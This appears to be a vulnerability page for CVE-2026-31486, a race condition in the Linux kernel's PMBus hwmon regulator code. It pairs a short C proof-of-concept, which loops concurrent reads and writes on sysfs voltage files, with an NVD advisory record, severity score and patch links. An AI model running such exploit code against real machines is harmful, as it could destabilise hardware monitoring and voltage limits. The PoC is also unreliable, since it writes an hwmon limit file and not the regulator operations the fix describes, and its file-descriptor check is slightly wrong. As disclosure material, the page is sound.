CVE-2026-31486

/* * PoC for CVE-2026-31486: Race Condition in PMBus Core * This code attempts to trigger the race condition by * concurrently accessing voltage sysfs entries. * Compile: gcc -pthread poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define SYSFS_PATH "/sys/class/hwmon/hwmonX/in1_input" // Example path #define VOLTAGE_PATH "/sys/class/hwmon/hwmonX/in1_min" // Example writable path void* thread_read(void* arg) { int fd; char buffer[32]; while (1) { fd = open(SYSFS_PATH, O_RDONLY); if (fd > 0) { read(fd, buffer, 32); close(fd); } } return NULL; } void* thread_write(void* arg) { int fd; while (1) { fd = open(VOLTAGE_PATH, O_WRONLY); if (fd > 0) { write(fd, "1200", 4); // Writing arbitrary voltage value close(fd); } } return NULL; } int main() { pthread_t t1, t2; printf("Starting race condition PoC for CVE-2026-31486...\n"); pthread_create(&t1, NULL, thread_read, NULL); pthread_create(&t2, NULL, thread_write, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-31486", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:46.160", "lastModified": "2026-04-28T13:06:48.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/core) Protect regulator operations with mutex\n\nThe regulator operations pmbus_regulator_get_voltage(),\npmbus_regulator_set_voltage(), and pmbus_regulator_list_voltage()\naccess PMBus registers and shared data but were not protected by\nthe update_lock mutex. This could lead to race conditions.\n\nHowever, adding mutex protection directly to these functions causes\na deadlock because pmbus_regulator_notify() (which calls\nregulator_notifier_call_chain()) is often called with the mutex\nalready held (e.g., from pmbus_fault_handler()). If a regulator\ncallback then calls one of the now-protected voltage functions,\nit will attempt to acquire the same mutex.\n\nRework pmbus_regulator_notify() to utilize a worker function to\nsend notifications outside of the mutex protection. Events are\nstored as atomics in a per-page bitmask and processed by the worker.\n\nInitialize the worker and its associated data during regulator\nregistration, and ensure it is cancelled on device removal using\ndevm_add_action_or_reset().\n\nWhile at it, remove the unnecessary include of linux/of.h."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "689AD2FA-326D-4E6F-8192-689D60EEA86F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.19:-:*:*:*:*:*:*", "matchCriteriaId": "8C54596F-5461-44C4-91FB-7453BE905748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2c77ae315f3ce9d2c8e1609be74c9358c1fe4e07", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4e9d723d9f198b86f6882a84c501ba1f39e8d055", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/754bd2b4a084b90b5e7b630e1f423061a9b9b761", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}